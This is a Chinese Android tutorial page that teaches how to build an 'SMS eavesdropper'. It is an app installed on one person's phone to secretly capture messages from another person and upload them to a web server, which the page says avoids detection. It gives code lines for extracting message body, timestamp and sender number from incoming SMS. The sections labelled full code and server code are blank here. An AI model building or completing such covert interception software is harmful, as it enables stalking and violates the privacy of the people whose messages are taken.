设为首页 加入收藏

TOP

Android入门:广播接收者应用(短信窃听器)
2014-11-24 11:33:27 来源: 作者: 【 】 浏览:0
Tags:Android 入门 广播 接收者 应用 短信 窃听

一、短信窃听器原理介绍


短信窃听器的目的是窃听某人发送的短信,比如我们在A的手机中安装了此应用想要看B发送给A的短信;


而怎么样才能够获得短信息呢?如果通过短信方式发送给第三方,则会被看出来,因此我们可以通过网络将消息发送给web服务器;


二、核心代码


短信窃听器客户端核心代码


在AndroidManifest.xml中添加权限:


(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据


(2)byte[] pdu = (byte[])pdus[0];


(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage


(4)String content = message.getMessageBody();获得短信内容


(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间


(6)String senderNumber = message.getOriginatingAddress();获得发送方号码


服务器端代码只是接收参数并显示;


三、短信窃听器具体代码


服务器端代码


】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇md5加密C语言实现 下一篇Android入门:广播发送者与广播接..

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容:

·Python爬虫教程(从 (2025-12-26 16:49:14)
·【全269集】B站最详 (2025-12-26 16:49:11)
·Python爬虫详解:原 (2025-12-26 16:49:09)
·Spring Boot Java: (2025-12-26 16:20:19)
·Spring BootでHello (2025-12-26 16:20:15)